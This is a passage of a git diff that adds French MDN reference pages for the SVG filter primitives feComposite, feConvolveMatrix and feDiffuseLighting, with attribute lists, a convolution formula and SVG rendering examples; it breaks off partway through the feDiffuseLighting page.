+ <li><a href="/en-US/docs/Web/SVG/Attribute#Presentation_attributes">Attributs de présentation</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_primitives_de_filtre">Attributs de primitive de filtre</a></li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{SVGAttr("in")}}</li>
+ <li>{{SVGAttr("in2")}}</li>
+ <li>{{SVGAttr("operator")}}</li>
+ <li>{{SVGAttr("k1")}}</li>
+ <li>{{SVGAttr("k2")}}</li>
+ <li>{{SVGAttr("k3")}}</li>
+ <li>{{SVGAttr("k4")}}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGFECompositeElement")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="SVG">SVG</h3>
+
+<pre>&lt;svg width="330" height="195" viewBox="0 0 1100 650" version="1.1"
+     xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+  &lt;title&gt;Example feComposite - Examples of feComposite operations&lt;/title&gt;
+  &lt;desc&gt;Four rows of six pairs of overlapping triangles depicting
+        the six different feComposite operators under different
+        opacity values and different clearing of the background.&lt;/desc&gt;
+	&lt;defs&gt;
+    &lt;desc&gt;Define two sets of six filters for each of the six compositing operators.
+          The first set wipes out the background image by flooding with opaque white.
+          The second set does not wipe out the background, with the result
+          that the background sometimes shines through and is other cases
+          is blended into itself (i.e., "double-counting").&lt;/desc&gt;
+    &lt;filter id="overFlood" filterUnits="objectBoundingBox" x="-5%" y="-5%" width="110%" height="110%"&gt;
+      &lt;feFlood flood-color="#ffffff" flood-opacity="1" result="flood"/&gt;
+      &lt;feComposite in="SourceGraphic" in2="BackgroundImage" operator="over" result="comp"/&gt;
+      &lt;feMerge&gt; &lt;feMergeNode in="flood"/&gt; &lt;feMergeNode in="comp"/&gt; &lt;/feMerge&gt;
+    &lt;/filter&gt;
+    &lt;filter id="inFlood" filterUnits="objectBoundingBox" x="-5%" y="-5%" width="110%" height="110%"&gt;
+      &lt;feFlood flood-color="#ffffff" flood-opacity="1" result="flood"/&gt;
+      &lt;feComposite in="SourceGraphic" in2="BackgroundImage" operator="in" result="comp"/&gt;
+      &lt;feMerge&gt; &lt;feMergeNode in="flood"/&gt; &lt;feMergeNode in="comp"/&gt; &lt;/feMerge&gt;
+    &lt;/filter&gt;
+    &lt;filter id="outFlood" filterUnits="objectBoundingBox" x="-5%" y="-5%" width="110%" height="110%"&gt;
+      &lt;feFlood flood-color="#ffffff" flood-opacity="1" result="flood"/&gt;
+      &lt;feComposite in="SourceGraphic" in2="BackgroundImage" operator="out" result="comp"/&gt;
+      &lt;feMerge&gt; &lt;feMergeNode in="flood"/&gt; &lt;feMergeNode in="comp"/&gt; &lt;/feMerge&gt;
+    &lt;/filter&gt;
+    &lt;filter id="atopFlood" filterUnits="objectBoundingBox" x="-5%" y="-5%" width="110%" height="110%"&gt;
+      &lt;feFlood flood-color="#ffffff" flood-opacity="1" result="flood"/&gt;
+      &lt;feComposite in="SourceGraphic" in2="BackgroundImage" operator="atop" result="comp"/&gt;
+      &lt;feMerge&gt; &lt;feMergeNode in="flood"/&gt; &lt;feMergeNode in="comp"/&gt; &lt;/feMerge&gt;
+    &lt;/filter&gt;
+    &lt;filter id="xorFlood" filterUnits="objectBoundingBox" x="-5%" y="-5%" width="110%" height="110%"&gt;
+      &lt;feFlood flood-color="#ffffff" flood-opacity="1" result="flood"/&gt;
+      &lt;feComposite in="SourceGraphic" in2="BackgroundImage" operator="xor" result="comp"/&gt;
+      &lt;feMerge&gt; &lt;feMergeNode in="flood"/&gt; &lt;feMergeNode in="comp"/&gt; &lt;/feMerge&gt;
+    &lt;/filter&gt;
+    &lt;filter id="arithmeticFlood" filterUnits="objectBoundingBox"
+            x="-5%" y="-5%" width="110%" height="110%"&gt;
+      &lt;feFlood flood-color="#ffffff" flood-opacity="1" result="flood"/&gt;
+      &lt;feComposite in="SourceGraphic" in2="BackgroundImage" result="comp"
+                   operator="arithmetic" k1=".5" k2=".5" k3=".5" k4=".5"/&gt;
+      &lt;feMerge&gt; &lt;feMergeNode in="flood"/&gt; &lt;feMergeNode in="comp"/&gt; &lt;/feMerge&gt;
+    &lt;/filter&gt;
+    &lt;filter id="overNoFlood" filterUnits="objectBoundingBox" x="-5%" y="-5%" width="110%" height="110%"&gt;
+      &lt;feComposite in="SourceGraphic" in2="BackgroundImage" operator="over" result="comp"/&gt;
+    &lt;/filter&gt;
+    &lt;filter id="inNoFlood" filterUnits="objectBoundingBox" x="-5%" y="-5%" width="110%" height="110%"&gt;
+      &lt;feComposite in="SourceGraphic" in2="BackgroundImage" operator="in" result="comp"/&gt;
+    &lt;/filter&gt;
+    &lt;filter id="outNoFlood" filterUnits="objectBoundingBox" x="-5%" y="-5%" width="110%" height="110%"&gt;
+      &lt;feComposite in="SourceGraphic" in2="BackgroundImage" operator="out" result="comp"/&gt;
+    &lt;/filter&gt;
+    &lt;filter id="atopNoFlood" filterUnits="objectBoundingBox" x="-5%" y="-5%" width="110%" height="110%"&gt;
+      &lt;feComposite in="SourceGraphic" in2="BackgroundImage" operator="atop" result="comp"/&gt;
+    &lt;/filter&gt;
+    &lt;filter id="xorNoFlood" filterUnits="objectBoundingBox" x="-5%" y="-5%" width="110%" height="110%"&gt;
+      &lt;feComposite in="SourceGraphic" in2="BackgroundImage" operator="xor" result="comp"/&gt;
+    &lt;/filter&gt;
+    &lt;filter id="arithmeticNoFlood" filterUnits="objectBoundingBox"
+            x="-5%" y="-5%" width="110%" height="110%"&gt;
+      &lt;feComposite in="SourceGraphic" in2="BackgroundImage" result="comp"
+                   operator="arithmetic" k1=".5" k2=".5" k3=".5" k4=".5"/&gt;
+    &lt;/filter&gt;
+    &lt;path id="Blue100" d="M 0 0 L 100 0 L 100 100 z" fill="#00ffff" /&gt;
+    &lt;path id="Red100" d="M 0 0 L 0 100 L 100 0 z" fill="#ff00ff" /&gt;
+    &lt;path id="Blue50" d="M 0 125 L 100 125 L 100 225 z" fill="#00ffff" fill-opacity=".5" /&gt;
+    &lt;path id="Red50" d="M 0 125 L 0 225 L 100 125 z" fill="#ff00ff" fill-opacity=".5" /&gt;
+    &lt;g id="TwoBlueTriangles"&gt;
+      &lt;use xlink:href="#Blue100"/&gt;
+      &lt;use xlink:href="#Blue50"/&gt;
+    &lt;/g&gt;
+    &lt;g id="BlueTriangles"&gt;
+      &lt;use transform="translate(275,25)" xlink:href="#TwoBlueTriangles"/&gt;
+      &lt;use transform="translate(400,25)" xlink:href="#TwoBlueTriangles"/&gt;
+      &lt;use transform="translate(525,25)" xlink:href="#TwoBlueTriangles"/&gt;
+      &lt;use transform="translate(650,25)" xlink:href="#TwoBlueTriangles"/&gt;
+      &lt;use transform="translate(775,25)" xlink:href="#TwoBlueTriangles"/&gt;
+      &lt;use transform="translate(900,25)" xlink:href="#TwoBlueTriangles"/&gt;
+    &lt;/g&gt;
+  &lt;/defs&gt;
+
+  &lt;rect fill="none" stroke="blue" x="1" y="1" width="1098" height="648"/&gt;
+  &lt;g font-family="Verdana" font-size="40" shape-rendering="crispEdges"&gt;
+    &lt;desc&gt;Render the examples using the filters that draw on top of
+          an opaque white surface, thus obliterating the background.&lt;/desc&gt;
+    &lt;g enable-background="new"&gt;
+      &lt;text x="15" y="75"&gt;opacity 1.0&lt;/text&gt;
+      &lt;text x="15" y="115" font-size="27"&gt;(with feFlood)&lt;/text&gt;
+      &lt;text x="15" y="200"&gt;opacity 0.5&lt;/text&gt;
+      &lt;text x="15" y="240" font-size="27"&gt;(with feFlood)&lt;/text&gt;
+      &lt;use xlink:href="#BlueTriangles"/&gt;
+      &lt;g transform="translate(275,25)"&gt;
+        &lt;use xlink:href="#Red100" filter="url(#overFlood)" /&gt;
+        &lt;use xlink:href="#Red50" filter="url(#overFlood)" /&gt;
+        &lt;text x="5" y="275"&gt;over&lt;/text&gt;
+      &lt;/g&gt;
+      &lt;g transform="translate(400,25)"&gt;
+        &lt;use xlink:href="#Red100" filter="url(#inFlood)" /&gt;
+        &lt;use xlink:href="#Red50" filter="url(#inFlood)" /&gt;
+        &lt;text x="35" y="275"&gt;in&lt;/text&gt;
+      &lt;/g&gt;
+      &lt;g transform="translate(525,25)"&gt;
+        &lt;use xlink:href="#Red100" filter="url(#outFlood)" /&gt;
+        &lt;use xlink:href="#Red50" filter="url(#outFlood)" /&gt;
+        &lt;text x="15" y="275"&gt;out&lt;/text&gt;
+      &lt;/g&gt;
+      &lt;g transform="translate(650,25)"&gt;
+        &lt;use xlink:href="#Red100" filter="url(#atopFlood)" /&gt;
+        &lt;use xlink:href="#Red50" filter="url(#atopFlood)" /&gt;
+        &lt;text x="10" y="275"&gt;atop&lt;/text&gt;
+      &lt;/g&gt;
+      &lt;g transform="translate(775,25)"&gt;
+        &lt;use xlink:href="#Red100" filter="url(#xorFlood)" /&gt;
+        &lt;use xlink:href="#Red50" filter="url(#xorFlood)" /&gt;
+        &lt;text x="15" y="275"&gt;xor&lt;/text&gt;
+      &lt;/g&gt;
+      &lt;g transform="translate(900,25)"&gt;
+        &lt;use xlink:href="#Red100" filter="url(#arithmeticFlood)" /&gt;
+        &lt;use xlink:href="#Red50" filter="url(#arithmeticFlood)" /&gt;
+        &lt;text x="-25" y="275"&gt;arithmetic&lt;/text&gt;
+      &lt;/g&gt;
+    &lt;/g&gt;
+    &lt;g transform="translate(0,325)" enable-background="new"&gt;
+    &lt;desc&gt;Render the examples using the filters that do not obliterate
+          the background, thus sometimes causing the background to continue
+          to appear in some cases, and in other cases the background
+          image blends into itself ("double-counting").&lt;/desc&gt;
+      &lt;text x="15" y="75"&gt;opacity 1.0&lt;/text&gt;
+      &lt;text x="15" y="115" font-size="27"&gt;(without feFlood)&lt;/text&gt;
+      &lt;text x="15" y="200"&gt;opacity 0.5&lt;/text&gt;
+      &lt;text x="15" y="240" font-size="27"&gt;(without feFlood)&lt;/text&gt;
+      &lt;use xlink:href="#BlueTriangles"/&gt;
+      &lt;g transform="translate(275,25)"&gt;
+        &lt;use xlink:href="#Red100" filter="url(#overNoFlood)" /&gt;
+        &lt;use xlink:href="#Red50" filter="url(#overNoFlood)" /&gt;
+        &lt;text x="5" y="275"&gt;over&lt;/text&gt;
+      &lt;/g&gt;
+      &lt;g transform="translate(400,25)"&gt;
+        &lt;use xlink:href="#Red100" filter="url(#inNoFlood)" /&gt;
+        &lt;use xlink:href="#Red50" filter="url(#inNoFlood)" /&gt;
+        &lt;text x="35" y="275"&gt;in&lt;/text&gt;
+      &lt;/g&gt;
+      &lt;g transform="translate(525,25)"&gt;
+        &lt;use xlink:href="#Red100" filter="url(#outNoFlood)" /&gt;
+        &lt;use xlink:href="#Red50" filter="url(#outNoFlood)" /&gt;
+        &lt;text x="15" y="275"&gt;out&lt;/text&gt;
+      &lt;/g&gt;
+      &lt;g transform="translate(650,25)"&gt;
+        &lt;use xlink:href="#Red100" filter="url(#atopNoFlood)" /&gt;
+        &lt;use xlink:href="#Red50" filter="url(#atopNoFlood)" /&gt;
+        &lt;text x="10" y="275"&gt;atop&lt;/text&gt;
+      &lt;/g&gt;
+      &lt;g transform="translate(775,25)"&gt;
+        &lt;use xlink:href="#Red100" filter="url(#xorNoFlood)" /&gt;
+        &lt;use xlink:href="#Red50" filter="url(#xorNoFlood)" /&gt;
+        &lt;text x="15" y="275"&gt;xor&lt;/text&gt;
+      &lt;/g&gt;
+      &lt;g transform="translate(900,25)"&gt;
+        &lt;use xlink:href="#Red100" filter="url(#arithmeticNoFlood)" /&gt;
+        &lt;use xlink:href="#Red50" filter="url(#arithmeticNoFlood)" /&gt;
+        &lt;text x="-25" y="275"&gt;arithmetic&lt;/text&gt;
+      &lt;/g&gt;
+    &lt;/g&gt;
+  &lt;/g&gt;
+&lt;/svg&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>Cette image affine le résultat désiré.</p>
+
+<p><img alt="Example feComposite — Examples of feComposite operations" src="https://www.w3.org/TR/SVG11/images/filters/feComposite.png"></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Filters 1.0', '#feCompositeElement', '&lt;feComposite&gt;')}}</td>
+   <td>{{Spec2('Filters 1.0')}}</td>
+   <td>Ajoute la valeur <code>lighter</code> pour l'attribut <code>operator</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'filters.html#feCompositeElement', '&lt;feComposite&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.feComposite")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("animate")}}</li>
+ <li>{{SVGElement("set")}}</li>
+ <li>{{SVGElement("feBlend")}}</li>
+ <li>{{SVGElement("feColorMatrix")}}</li>
+ <li>{{SVGElement("feComponentTransfer")}}</li>
+ <li>{{SVGElement("feConvolveMatrix")}}</li>
+ <li>{{SVGElement("feDiffuseLighting")}}</li>
+ <li>{{SVGElement("feDisplacementMap")}}</li>
+ <li>{{SVGElement("feFlood")}}</li>
+ <li>{{SVGElement("feGaussianBlur")}}</li>
+ <li>{{SVGElement("feImage")}}</li>
+ <li>{{SVGElement("feMerge")}}</li>
+ <li>{{SVGElement("feMorphology")}}</li>
+ <li>{{SVGElement("feOffset")}}</li>
+ <li>{{SVGElement("feSpecularLighting")}}</li>
+ <li>{{SVGElement("feTile")}}</li>
+ <li>{{SVGElement("feTurbulence")}}</li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/filtres" title="en/SVG/Tutorial/Filter_effects">Tutoriel SVG: Filtres</a></li>
+</ul>
diff --git a/files/fr/web/svg/element/feconvolvematrix/index.html b/files/fr/web/svg/element/feconvolvematrix/index.html
new file mode 100644
index 0000000000..1fc9908ce1
--- /dev/null
+++ b/files/fr/web/svg/element/feconvolvematrix/index.html
@@ -0,0 +1,169 @@
+---
+title: <feConvolveMatrix>
+slug: Web/SVG/Element/feConvolveMatrix
+tags:
+  - Element
+  - SVG
+  - SVG Filter
+translation_of: Web/SVG/Element/feConvolveMatrix
+---
+<div>{{SVGRef}}</div>
+
+<p>La primitive de filtre <a href="/fr/docs/Web/SVG">SVG</a> <strong><code>&lt;feConvolveMatrix&gt;</code></strong> applique une matrice de convolution d'effet de filtre. Une convolution combine les pixels de l'image en entrée avec ceux voisins pour donner une image résultante. On peut obtenir une grande variété d'opérations d'imagerie à l'aide de convolutions, dont le flou, la détection de bord, la netteté, l'estampage et le chanfreinage.</p>
+
+<p>Une convolution de matrice se fonde sur une matrice n par m (le noyau de convolution), qui décrit la façon dont une valeur de pixel donné de l'image en entrée est combinée avec celles des pixels de son voisinage pour aboutir à une valeur de pixel résultante. Chaque pixel du résultat est déterminé par l'application de la matrice noyau sur le pixel source correspondant et ses pixels voisins. La formule de convolution de base, appliquée à chaque valeur de couleur d'un pixel donné, est :</p>
+
+<p id="feConvolveMatrixElementFormula">COLOR<sub>X,Y</sub> = ( <br>
+               SUM <sub>I=0 to [<a href="https://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElementOrderAttribute">orderY</a>-1]</sub> { <br>
+                 SUM <sub>J=0 to [<a href="https://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElementOrderAttribute">orderX</a>-1]</sub> { <br>
+                   SOURCE <sub>X-<a href="https://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElementTargetXAttribute">targetX</a>+J, Y-<a href="https://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElementTargetYAttribute">targetY</a>+I</sub> *  <a href="https://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElementKernelMatrixAttribute">kernelMatrix</a><sub><a href="https://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElementOrderAttribute">orderX</a>-J-1,  <a href="https://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElementOrderAttribute">orderY</a>-I-1</sub> <br>
+                 } <br>
+               } <br>
+             ) /  <a href="https://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElementDivisorAttribute">divisor</a> +  <a href="https://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElementBiasAttribute">bias</a> * ALPHA<sub>X,Y</sub> </p>
+
+<p>dans laquelle</p>
+
+<ul>
+ <li>"orderX" et "orderY" représentent les valeurs X et Y pour l'attribut {{SVGAttr("order")}},</li>
+ <li>"targetX" représente la valeur de l'attribut {{SVGAttr("targetX")}},</li>
+ <li>"targetY" la valeur de l'attribut {{SVGAttr("targetY")}},</li>
+ <li>"kernelMatrix" celle de l'attribut {{SVGAttr("kernelMatrix")}},</li>
+ <li>"divisor" celle de l'attribut {{SVGAttr("divisor")}}</li>
+ <li>et "bias" la valeur de l'attribut {{SVGAttr("bias")}}.</li>
+</ul>
+
+<p>Remarquez dans la formule ci-dessus que les valeurs de la matrice noyau sont appliquées de telle manière que cette matrice noyau soit tournée de 180 degrés par rapport aux images de source et de destination, pour correspondre avec la théorie de la convolution telle qu'elle est décrite dans de nombreux ouvrages sur l'infographie.</p>
+
+<p>Pour illustrer, supposons que l'on ait une image en entrée, de 5x5 pixels, dont les valeurs de couleur pour l'un des canaux de couleur sont les suivantes:</p>
+
+<pre>0    20  40 235 235
+100 120 140 235 235
+200 220 240 235 235
+225 225 255 255 255
+225 225 255 255 255
+</pre>
+
+<p>et que l'on définit un noyau de convolution de 3x3 comme ceci:</p>
+
+<pre>1 2 3
+4 5 6
+7 8 9
+</pre>
+
+<p>Concentrons-nous sur la valeur de couleur de la deuxième ligne, deuxième colonne (la valeur du pixel source est 120). En supposant le cas le plus simple (quand le quadrillage de pixels de l'image source s'aligne parfaitement avec celui du noyau) et en supposant les valeurs par défaut des attributs <code><span class="attr-name">divisor</span></code>, <code><span class="attr-name">targetX</span></code> et <code><span class="attr-name">targetY</span></code>, alors la valeur de couleur résultante sera :</p>
+
+<pre>(9*  0 + 8* 20 + 7* 40 +
+ 6*100 + 5*120 + 4*140 +
+ 3*200 + 2*220 + 1*240) / (9+8+7+6+5+4+3+2+1)</pre>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base">Attributs de base</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_présentation">Attributs de présentation</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_primitives_de_filtre">Attributs de primitive de filtre</a></li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{SVGAttr("in")}}</li>
+ <li>{{SVGAttr("order")}}</li>
+ <li>{{SVGAttr("kernelMatrix")}}</li>
+ <li>{{SVGAttr("divisor")}}</li>
+ <li>{{SVGAttr("bias")}}</li>
+ <li>{{SVGAttr("targetX")}}</li>
+ <li>{{SVGAttr("targetY")}}</li>
+ <li>{{SVGAttr("edgeMode")}}</li>
+ <li>{{SVGAttr("kernelUnitLength")}}</li>
+ <li>{{SVGAttr("preserveAlpha")}}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGFEConvolveMatrixElement")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="SVG">SVG</h3>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"
+    xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+  &lt;defs&gt;
+    &lt;filter id="emboss"&gt;
+      &lt;feConvolveMatrix
+          kernelMatrix="3 0 0
+                        0 0 0
+                        0 0 -3"/&gt;
+    &lt;/filter&gt;
+  &lt;/defs&gt;
+
+  &lt;image xlink:href="/files/12668/MDN.svg" x="0" y="0"
+      height="200" width="200" style="filter:url(#emboss);" /&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemple", 200, 210)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Filters 1.0", "#feConvolveMatrixElement", "&lt;feConvolveMatrix&gt;")}}</td>
+   <td>{{Spec2("Filters 1.0")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "filters.html#feConvolveMatrixElement", "&lt;feConvolveMatrix&gt;")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.feConvolveMatrix")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("animate")}}</li>
+ <li>{{SVGElement("set")}}</li>
+ <li>{{SVGElement("feBlend")}}</li>
+ <li>{{SVGElement("feColorMatrix")}}</li>
+ <li>{{SVGElement("feComponentTransfer")}}</li>
+ <li>{{SVGElement("feComposite")}}</li>
+ <li>{{SVGElement("feDiffuseLighting")}}</li>
+ <li>{{SVGElement("feDisplacementMap")}}</li>
+ <li>{{SVGElement("feFlood")}}</li>
+ <li>{{SVGElement("feGaussianBlur")}}</li>
+ <li>{{SVGElement("feImage")}}</li>
+ <li>{{SVGElement("feMerge")}}</li>
+ <li>{{SVGElement("feMorphology")}}</li>
+ <li>{{SVGElement("feOffset")}}</li>
+ <li>{{SVGElement("feSpecularLighting")}}</li>
+ <li>{{SVGElement("feTile")}}</li>
+ <li>{{SVGElement("feTurbulence")}}</li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/filtres">Tutoriel SVG: Filtres</a></li>
+</ul>
diff --git a/files/fr/web/svg/element/fediffuselighting/index.html b/files/fr/web/svg/element/fediffuselighting/index.html
new file mode 100644
index 0000000000..13607c11c9
--- /dev/null
+++ b/files/fr/web/svg/element/fediffuselighting/index.html
@@ -0,0 +1,163 @@
+---
+title: <feDiffuseLighting>
+slug: Web/SVG/Element/feDiffuseLighting
+tags:
+  - Element
+  - SVG
+  - SVG Filter
+translation_of: Web/SVG/Element/feDiffuseLighting
+---
+<div>{{SVGRef}}</div>
+
+<p>La primitive de filtre <a href="/fr/docs/Web/SVG">SVG</a> <strong><code>&lt;feDiffuseLighting&gt;</code></strong> éclaire une image en utilisant son canal alpha en tant que relief. L'image résultante, qui est une image RGBA opaque, dépend de la couleur de la lumière, de sa position et du relief de l'image en entrée.</p>
+
+<p>La lumière crée par cette primitive de filtre peut être combinée avec une image de texture à l'aide de l'opérateur <code>arithmetic</code> de la primitive de filtre {{SVGElement("feComposite")}}. De multiples sources lumineuses peuvent être simulées en ajoutant plusieurs éléments à la texture.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base">Attributs de base</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_présentation">Attributs de présentation</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_primitives_de_filtre">Attributs de primitive de filtre</a></li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{SVGAttr("in")}}</li>
+ <li>{{SVGAttr("surfaceScale")}}</li>
+ <li>{{SVGAttr("diffuseConstant")}}</li>
+ <li>{{SVGAttr("kernelUnitLength")}}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGFEDiffuseLightingElement")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'exemple suivant montre l'effet de l'élément <code>&lt;feDiffuseLighting&gt;</code> sur un cercle avec chaque type de lumière disponible. À chaque fois, la lumière vient du coin supérieur gauche.</p>
+
+<pre class="brush: html; highlight[10-13,25-28,40-44]">&lt;svg width="440" height="140" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;!-- Aucune lumière n'est appliquée --&gt;
+  &lt;text text-anchor="middle" x="60" y="22"&gt;No Light&lt;/text&gt;
+  &lt;circle cx="60" cy="80" r="50" fill="green" /&gt;
+
+  &lt;!-- La source lumineuse est un élément fePointLight --&gt;
+  &lt;text text-anchor="middle" x="170" y="22"&gt;fePointLight&lt;/text&gt;
+  &lt;filter id="lightMe1"&gt;
+    &lt;feDiffuseLighting in="SourceGraphic" result="light"
+        lighting-color="white"&gt;
+      &lt;fePointLight x="150" y="60" z="20" /&gt;
+    &lt;/feDiffuseLighting&gt;
+
+    &lt;feComposite in="SourceGraphic" in2="light"
+                 operator="arithmetic" k1="1" k2="0" k3="0" k4="0"/&gt;
+  &lt;/filter&gt;
+
+  &lt;circle cx="170" cy="80" r="50" fill="green"
+      filter="url(#lightMe1)" /&gt;
+
+  &lt;!-- La source lumineuse est un élément feDistantLight --&gt;
+  &lt;text text-anchor="middle" x="280" y="22"&gt;feDistantLight&lt;/text&gt;
+  &lt;filter id="lightMe2"&gt;
+    &lt;feDiffuseLighting in="SourceGraphic" result="light"
+        lighting-color="white"&gt;
+      &lt;feDistantLight azimuth="240" elevation="20"/&gt;
+    &lt;/feDiffuseLighting&gt;
+
+    &lt;feComposite in="SourceGraphic" in2="light"
+                 operator="arithmetic" k1="1" k2="0" k3="0" k4="0"/&gt;
+  &lt;/filter&gt;
+
+  &lt;circle cx="280" cy="80" r="50" fill="green"
+      filter="url(#lightMe2)" /&gt;
+
+  &lt;!-- La source lumineuse est un élément feSpotLight --&gt;
+  &lt;text text-anchor="middle" x="390" y="22"&gt;feSpotLight&lt;/text&gt;
+  &lt;filter id="lightMe3"&gt;
+    &lt;feDiffuseLighting in="SourceGraphic" result="light"
+        lighting-color="white"&gt;
+      &lt;feSpotLight x="360" y="5" z="30" limitingConeAngle="20"
+                   pointsAtX="390" pointsAtY="80" pointsAtZ="0"/&gt;
+    &lt;/feDiffuseLighting&gt;
+
+    &lt;feComposite in="SourceGraphic" in2="light"
+                 operator="arithmetic" k1="1" k2="0" k3="0" k4="0"/&gt;
+  &lt;/filter&gt;
+
+  &lt;circle cx="390" cy="80" r="50" fill="green"
+      filter="url(#lightMe3)" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>Résultat attendu:</p>
+
+<p><img alt="Expected rendering for the example" src="/files/4447/feDiffuseLighting.png"></p>
+
+<p>Rendu en direct:</p>
+
+<p>{{EmbedLiveSample("Exemple", 470, 170)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Filters 1.0', '#feDiffuseLightingElement', '&lt;feDiffuseLighting&gt;')}}</td>
+   <td>{{Spec2('Filters 1.0')}}</td>
+   <td>Déprécie l'attribut <code>kernelUnitLength</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'filters.html#feDiffuseLightingElement', '&lt;feDiffuseLighting&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.feDiffuseLighting")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("feBlend")}}</li>
+ <li>{{SVGElement("feColorMatrix")}}</li>
+ <li>{{SVGElement("feComponentTransfer")}}</li>
